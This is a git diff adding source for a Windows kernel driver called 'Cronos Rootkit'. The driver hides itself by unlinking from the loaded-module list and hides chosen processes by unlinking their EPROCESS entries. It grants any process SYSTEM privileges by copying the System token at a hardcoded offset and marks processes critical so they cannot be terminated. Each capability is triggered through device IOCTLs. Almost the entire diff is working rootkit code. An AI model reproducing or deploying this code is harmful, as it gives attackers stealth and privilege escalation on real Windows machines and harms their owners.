diff --git a/Cronos Rootkit/Cronos Rootkit.vcxproj b/Cronos Rootkit/Cronos Rootkit.vcxproj index 9863375..91ffa68 100644 --- a/Cronos Rootkit/Cronos Rootkit.vcxproj +++ b/Cronos Rootkit/Cronos Rootkit.vcxproj @@ -143,9 +143,12 @@ + + + diff --git a/Cronos Rootkit/Cronos Rootkit.vcxproj.filters b/Cronos Rootkit/Cronos Rootkit.vcxproj.filters index 70f0afa..944c680 100644 --- a/Cronos Rootkit/Cronos Rootkit.vcxproj.filters +++ b/Cronos Rootkit/Cronos Rootkit.vcxproj.filters @@ -22,10 +22,19 @@ Header Files + + Header Files + Source Files + + Source Files + + + Source Files + \ No newline at end of file diff --git a/Cronos Rootkit/Driver.cpp b/Cronos Rootkit/Driver.cpp index 950ab0a..b4ba92e 100644 --- a/Cronos Rootkit/Driver.cpp +++ b/Cronos Rootkit/Driver.cpp @@ -1,18 +1,199 @@ +#include +#include #include "Driver.h" +#include "Rootkit.h" +NTSTATUS DriverCreateClose(_In_ PDEVICE_OBJECT DeviceObject, _In_ PIRP Irp); +NTSTATUS DriverDispatch(_In_ PDEVICE_OBJECT DeviceObject, _In_ PIRP Irp); VOID DriverUnload(_In_ PDRIVER_OBJECT DriverObject); extern "C" NTSTATUS DriverEntry(_In_ PDRIVER_OBJECT DriverObject, _In_ PUNICODE_STRING RegistryPath) { - DriverObject->DriverUnload = DriverUnload; KdPrint(("[+] Driver loaded!\n")); + DriverObject->DriverUnload = DriverUnload; + + DriverObject->MajorFunction[IRP_MJ_CREATE] = DriverCreateClose; + DriverObject->MajorFunction[IRP_MJ_CLOSE] = DriverCreateClose; + DriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = DriverDispatch; + + UNICODE_STRING devName = RTL_CONSTANT_STRING(L"\\Device\\Cronos"); + + PDEVICE_OBJECT DeviceObject; + NTSTATUS status = IoCreateDevice(DriverObject, + 0, + &devName, + FILE_DEVICE_UNKNOWN, + FILE_DEVICE_SECURE_OPEN, + FALSE, + &DeviceObject); + if (!NT_SUCCESS(status)) + { + KdPrint(("[-] Unable to create device! %d\n", status)); + return status; + } + + UNICODE_STRING symLink = RTL_CONSTANT_STRING(L"\\??\\Cronos"); + status = IoCreateSymbolicLink(&symLink, &devName); + if (!NT_SUCCESS(status)) + { + KdPrint(("[-] Unable to create symbolic link! %d\n", status)); + IoDeleteDevice(DeviceObject); + return status; + } + + HideDriver(DriverObject); + + return status; +} + +NTSTATUS DriverDispatch(_In_ PDEVICE_OBJECT DeviceObject, _In_ PIRP Irp) +{ + NTSTATUS status = STATUS_SUCCESS; + auto stack = IoGetCurrentIrpStackLocation(Irp); + + switch (stack->Parameters.DeviceIoControl.IoControlCode) + { + case IOCTL_HIDEPROC: + { + KdPrint(("[+] Received hide process request\n")); + auto len = stack->Parameters.DeviceIoControl.InputBufferLength; + if (len < sizeof(HideProcData)) + { + KdPrint(("[-] Received too small buffer\n")); + status = STATUS_BUFFER_TOO_SMALL; + break; + } + + auto data = (HideProcData*)stack->Parameters.DeviceIoControl.Type3InputBuffer; + if (data == nullptr) + { + KdPrint(("[-] Received empty buffer\n")); + status = STATUS_INVALID_PARAMETER; + break; + } + + ULONG targetPid = data->TargetPID; + GhostProcess(targetPid); + break; + } + + case IOCTL_ELEVATEME: + { + PEPROCESS pTargetProcess, pSrcProcess; + KdPrint(("[+] Received elevation request\n")); + auto len = stack->Parameters.DeviceIoControl.InputBufferLength; + if (len < sizeof(ElevateData)) + { + KdPrint(("[-] Received too small buffer\n")); + status = STATUS_BUFFER_TOO_SMALL; + break; + } + + auto data = (ElevateData*)stack->Parameters.DeviceIoControl.Type3InputBuffer; + if (data == nullptr) + { + KdPrint(("[-] Received empty buffer\n")); + status = STATUS_INVALID_PARAMETER; + break; + } + + ULONG targetPid = data->TargetPID; + ULONG srcPid = 4; //System PID is always 4 + KdPrint(("[+] Target PID: %d and destination PID: %d\n", targetPid, srcPid)); + status = ProcessElevation(srcPid, targetPid); + break; + } + + case IOCTL_HIDETCP: + { + KdPrint(("[+] Received hide TCP request\n")); + auto len = stack->Parameters.DeviceIoControl.InputBufferLength; + if (len < sizeof(HideTcpData)) + { + KdPrint(("[-] Received too small buffer\n")); + status = STATUS_BUFFER_TOO_SMALL; + break; + } + + auto data = (HideTcpData*)stack->Parameters.DeviceIoControl.Type3InputBuffer; + if (data == nullptr) + { + KdPrint(("[-] Received empty buffer\n")); + status = STATUS_INVALID_PARAMETER; + break; + } + ULONG port = data->Port; + break; + } + + case IOCTL_PROTECT: + { + KdPrint(("[+] Received process protect request!\n")); + NTSTATUS status = STATUS_SUCCESS; + auto len = stack->Parameters.DeviceIoControl.InputBufferLength; + if (len < sizeof(ProtectProcessData)) + { + KdPrint(("[-] Received too small buffer\n")); + status = STATUS_BUFFER_TOO_SMALL; + break; + } + + auto data = (ProtectProcessData*)stack->Parameters.DeviceIoControl.Type3InputBuffer; + if (data == nullptr) + { + KdPrint(("[-] Received empty buffer\n")); + status = STATUS_INVALID_PARAMETER; + break; + } + + ULONG targetPid = data->TargetPID; + + KdPrint(("[+] Elevating process\n")); + status = ProcessElevation(4, targetPid); + if (!NT_SUCCESS(status)) + { + break; + } + + KdPrint(("[*] Protecting process\n")); + status = ProtectProcess(targetPid); + if (!NT_SUCCESS(status)) + { + break; + } + break; + } + + default: + status = STATUS_INVALID_DEVICE_REQUEST; + break; + } + + Irp->IoStatus.Status = status; + Irp->IoStatus.Information = 0; + IoCompleteRequest(Irp, IO_NO_INCREMENT); + return status; +} + +_Use_decl_annotations_ +NTSTATUS DriverCreateClose(_In_ PDEVICE_OBJECT DeviceObject, _In_ PIRP Irp) +{ + Irp->IoStatus.Status = STATUS_SUCCESS; + Irp->IoStatus.Information = 0; + IoCompleteRequest(Irp, IO_NO_INCREMENT); return STATUS_SUCCESS; } VOID DriverUnload(_In_ PDRIVER_OBJECT DriverObject) { - KdPrint(("[+] Driver unloaded!\n")); + KdPrint(("[+] Driver unload called\n")); + + UNICODE_STRING symLink = RTL_CONSTANT_STRING(L"\\??\\Cronos"); + IoDeleteSymbolicLink(&symLink); + IoDeleteDevice(DriverObject->DeviceObject); + + KdPrint(("[*] Driver unloaded!\n")); } \ No newline at end of file diff --git a/Cronos Rootkit/Driver.h b/Cronos Rootkit/Driver.h index d7d2c79..0b58af0 100644 --- a/Cronos Rootkit/Driver.h +++ b/Cronos Rootkit/Driver.h @@ -1,3 +1,66 @@ -#include #include +#define ACTIVE_PROCESS_LINKS 0x448 + +#pragma region IOCTL + +#define IOCTL_HIDEPROC CTL_CODE(FILE_DEVICE_UNKNOWN, 0x0001, METHOD_NEITHER, FILE_SPECIAL_ACCESS) +#define IOCTL_ELEVATEME CTL_CODE(FILE_DEVICE_UNKNOWN, 0x0002, METHOD_NEITHER, FILE_SPECIAL_ACCESS) +#define IOCTL_HIDETCP CTL_CODE(FILE_DEVICE_UNKNOWN, 0x0003, METHOD_NEITHER, FILE_SPECIAL_ACCESS) //Work in progress +#define IOCTL_PROTECT CTL_CODE(FILE_DEVICE_UNKNOWN, 0x0004, METHOD_NEITHER, FILE_SPECIAL_ACCESS) + +struct HideProcData { + ULONG TargetPID; +}; + +struct ElevateData { + ULONG TargetPID; +}; + +struct HideTcpData { + ULONG Port; +}; + +struct ProtectProcessData { + ULONG TargetPID; +}; + +#pragma endregion + +typedef struct _LDR_DATA_TABLE_ENTRY +{ + LIST_ENTRY InLoadOrderLinks; + LIST_ENTRY InMemoryOrderLinks; + LIST_ENTRY InInitializationOrderLinks; + PVOID DllBase; + PVOID EntryPoint; + ULONG SizeOfImage; + UNICODE_STRING FullDllName; + UNICODE_STRING BaseDllName; + ULONG Flags; + USHORT LoadCount; + USHORT TlsIndex; + union + { + LIST_ENTRY HashLinks; + struct + { + PVOID SectionPointer; + ULONG CheckSum; + }; + }; + union + { + ULONG TimeDateStamp; + PVOID LoadedImports; + }; + struct _ACTIVATION_CONTEXT* EntryPointActivationContext; + PVOID PatchInformation; + LIST_ENTRY ForwarderLinks; + LIST_ENTRY ServiceTagLinks; + LIST_ENTRY StaticLinks; +} LDR_DATA_TABLE_ENTRY, * PLDR_DATA_TABLE_ENTRY; + +// GHOST +PCHAR GhostProcess(UINT32 PID); +VOID HideDriver(PDRIVER_OBJECT DriverObject); diff --git a/Cronos Rootkit/Ghost.cpp b/Cronos Rootkit/Ghost.cpp new file mode 100644 index 0000000..af3f7c2 --- /dev/null +++ b/Cronos Rootkit/Ghost.cpp @@ -0,0 +1,90 @@ +//// +// FUNCTIONS USED TO HIDE PROCESSES AND DRIVERS +//// +#include +#include +#include "Driver.h" +#include + +VOID HideDriver(PDRIVER_OBJECT DriverObject) +{ + KdPrint(("[+] Hiding driver\n")); + KIRQL irql = KeRaiseIrqlToDpcLevel(); + PLDR_DATA_TABLE_ENTRY prevEntry, nextEntry, modEntry; + modEntry = (PLDR_DATA_TABLE_ENTRY)DriverObject->DriverSection; + + prevEntry = (PLDR_DATA_TABLE_ENTRY)modEntry->InLoadOrderLinks.Blink; + nextEntry = (PLDR_DATA_TABLE_ENTRY)modEntry->InLoadOrderLinks.Flink; + + prevEntry->InLoadOrderLinks.Flink = modEntry->InLoadOrderLinks.Flink; + nextEntry->InLoadOrderLinks.Blink = modEntry->InLoadOrderLinks.Blink; + + modEntry->InLoadOrderLinks.Flink = (PLIST_ENTRY)modEntry; + modEntry->InLoadOrderLinks.Blink = (PLIST_ENTRY)modEntry; + KeLowerIrql(irql); + KdPrint(("[!] Driver hidden!\n")); +} + +VOID RemoveTheLinks(PLIST_ENTRY Current) +{ + PLIST_ENTRY Previous, Next; + + Previous = (Current->Blink); + Next = (Current->Flink); + + Previous->Flink = Next; + Next->Blink = Previous; + + // Re-write the current LIST_ENTRY to point to itself (avoiding BSOD) + Current->Blink = (PLIST_ENTRY)&Current->Flink; + Current->Flink = (PLIST_ENTRY)&Current->Flink; + return; +} + +PCHAR GhostProcess(UINT32 pid) +{ + KdPrint(("[+] Ghosting process\n")); + LPSTR result = (LPSTR)ExAllocatePool(NonPagedPool, sizeof(ULONG) + 20);; + + ULONG PID_OFFSET = ACTIVE_PROCESS_LINKS; + KdPrint(("[+] PID offset: %p\n", PID_OFFSET)); + + ULONG LIST_OFFSET = PID_OFFSET; + + //Checking architecture using pointer size + INT_PTR ptr; + + // Ptr size 8 if compiled for a 64-bit machine, 4 if compiled for 32-bit machine + LIST_OFFSET += sizeof(ptr); + + PEPROCESS CurrentEPROCESS = PsGetCurrentProcess(); + + PLIST_ENTRY CurrentList = (PLIST_ENTRY)((ULONG_PTR)CurrentEPROCESS + LIST_OFFSET); + PUINT32 CurrentPID = (PUINT32)((ULONG_PTR)CurrentEPROCESS + PID_OFFSET); + + if (*(UINT32*)CurrentPID == pid) { + RemoveTheLinks(CurrentList); + return (PCHAR)result; + } + + PEPROCESS StartProcess = CurrentEPROCESS; + + CurrentEPROCESS = (PEPROCESS)((ULONG_PTR)CurrentList->Flink - LIST_OFFSET); + CurrentPID = (PUINT32)((ULONG_PTR)CurrentEPROCESS + PID_OFFSET); + CurrentList = (PLIST_ENTRY)((ULONG_PTR)CurrentEPROCESS + LIST_OFFSET); + + while ((ULONG_PTR)StartProcess != (ULONG_PTR)CurrentEPROCESS) + { + if (*(UINT32*)CurrentPID == pid) { + RemoveTheLinks(CurrentList); + return (PCHAR)result; + } + + CurrentEPROCESS = (PEPROCESS)((ULONG_PTR)CurrentList->Flink - LIST_OFFSET); + CurrentPID = (PUINT32)((ULONG_PTR)CurrentEPROCESS + PID_OFFSET); + CurrentList = (PLIST_ENTRY)((ULONG_PTR)CurrentEPROCESS + LIST_OFFSET); + } + + KdPrint(("[!] Process %d ghosted!\n", pid)); + return (PCHAR)result; +} \ No newline at end of file diff --git a/Cronos Rootkit/Rootkit.cpp b/Cronos Rootkit/Rootkit.cpp new file mode 100644 index 0000000..7bd90cb --- /dev/null +++ b/Cronos Rootkit/Rootkit.cpp @@ -0,0 +1,117 @@ +//// +// FUNCTIONS USED TO ELEVAET AND PROTECTS PROCESSES +//// +#include "Rootkit.h" + +NTSTATUS ProtectProcess(DWORD PID) +{ + NTSTATUS status = STATUS_SUCCESS; + + CLIENT_ID clientId; + HANDLE handle, hToken; + + TOKEN_PRIVILEGES tkp = { 0 }; + OBJECT_ATTRIBUTES objAttr; + ULONG BreakOnTermination = 1; + + clientId.UniqueThread = NULL; + clientId.UniqueProcess = ULongToHandle(PID); + InitializeObjectAttributes(&objAttr, NULL, 0, NULL, NULL); + + status = ZwOpenProcess(&handle, PROCESS_ALL_ACCESS, &objAttr, &clientId); + if (!NT_SUCCESS(status)) + { + KdPrint(("[-] Failed to open process: %d\n", status)); + return status; + } + + status = ZwOpenProcessTokenEx(handle, TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, OBJ_KERNEL_HANDLE, &hToken); + if (!NT_SUCCESS(status)) + { + KdPrint(("[-] Failed to open token\n")); + ZwClose(hToken); + return status; + } + + tkp.PrivilegeCount = 1; + tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; + tkp.Privileges[0].Luid = RtlConvertLongToLuid(SE_DEBUG_PRIVILEGE); + + status = ZwAdjustPrivilegesToken(hToken, FALSE, &tkp, 0, NULL, NULL); + if (!NT_SUCCESS(status)) + { + KdPrint(("[-] Failed to adjust token\n")); + ZwClose(hToken); + return status; + } + + status = ZwSetInformationProcess(handle, ProcessBreakOnTermination, &BreakOnTermination, sizeof(ULONG)); + if (!NT_SUCCESS(status)) + { + KdPrint(("[-] Failed to set information process\n")); + ZwClose(hToken); + return status; + } + KdPrint(("[*] Process successfully set as critical!\n")); + + tkp.Privileges[0].Luid = RtlConvertLongToLuid(SE_TCB_PRIVILEGE); + status = ZwSetInformationProcess(handle, ProcessBreakOnTermination, &BreakOnTermination, sizeof(ULONG)); + if (!NT_SUCCESS(status)) + { + KdPrint(("[-] Failed to set information process: nr 2\n")); + ZwClose(hToken); + return status; + } + KdPrint(("[!] The process has become part of the system!\n")); + KdPrint(("[!] You want be able to close process untile next reboot\n")); + + ZwClose(hToken); + return status; +} + +NTSTATUS ProcessElevation(ULONG srcPid, ULONG targetPid) +{ + NTSTATUS status = STATUS_SUCCESS; + PEPROCESS pTargetProcess, pSrcProcess; + + __try + { + //Getting target process + status = PsLookupProcessByProcessId(ULongToHandle(targetPid), &pTargetProcess); + if (!NT_SUCCESS(status)) + { + KdPrint(("[-] Target PID PsLookup failed\n")); + return status; + } + KdPrint(("[+] Target EProcess address: 0x%p\n", pTargetProcess)); + + //Getting source process + status = PsLookupProcessByProcessId(ULongToHandle(srcPid), &pSrcProcess); + if (!NT_SUCCESS(status)) + { + KdPrint(("[-] Source PID PsLookup failed\n")); + return status; + } + KdPrint(("[+] Source EProcess address: 0x%p\n", pSrcProcess)); + } + __except (EXCEPTION_EXECUTE_HANDLER) + { + KdPrint(("[-] Target or source PID PsLookup failed\n")); + return EXCEPTION_EXECUTE_HANDLER; + } + + __try + { + KdPrint(("[+] Setting source token to the target token\n")); + + *(UINT64*)((UINT64)pTargetProcess + (UINT64)TOKEN) = *(UINT64*)(UINT64(pSrcProcess) + (UINT64)TOKEN); + KdPrint(("[*] Source token copied to the target!\n")); + } + __except (EXCEPTION_EXECUTE_HANDLER) + { + KdPrint(("[-] Setting target token to source token failed!\n")); + return EXCEPTION_EXECUTE_HANDLER; + } + + return status; +} \ No newline at end of file diff --git a/Cronos Rootkit/Rootkit.h b/Cronos Rootkit/Rootkit.h new file mode 100644 index 0000000..629df90 --- /dev/null +++ b/Cronos Rootkit/Rootkit.h @@ -0,0 +1,26 @@ +#include +#include +#include + +#define TOKEN 0x4b8 + +NTSTATUS ProtectProcess(DWORD PID); +NTSTATUS ProcessElevation(ULONG srcPid, ULONG targetPid); + +extern "C" +NTSYSAPI NTSTATUS NTAPI ZwSetInformationProcess( + __in HANDLE ProcessHandle, + __in PROCESSINFOCLASS ProcessInformationClass, + __in_bcount(ProcessInformationLength) PVOID ProcessInformation, + __in ULONG ProcessInformationLength); + +extern "C" +_Must_inspect_result_ +NTSYSAPI NTSTATUS NTAPI ZwAdjustPrivilegesToken( + _In_ HANDLE TokenHandle, + _In_ BOOLEAN DisableAllPrivileges, + _In_opt_ PTOKEN_PRIVILEGES NewState, + _In_ ULONG BufferLength, + _Out_writes_bytes_to_opt_(BufferLength, *ReturnLength) PTOKEN_PRIVILEGES PreviousState, + _When_(PreviousState != NULL, _Out_) PULONG ReturnLength +); \ No newline at end of file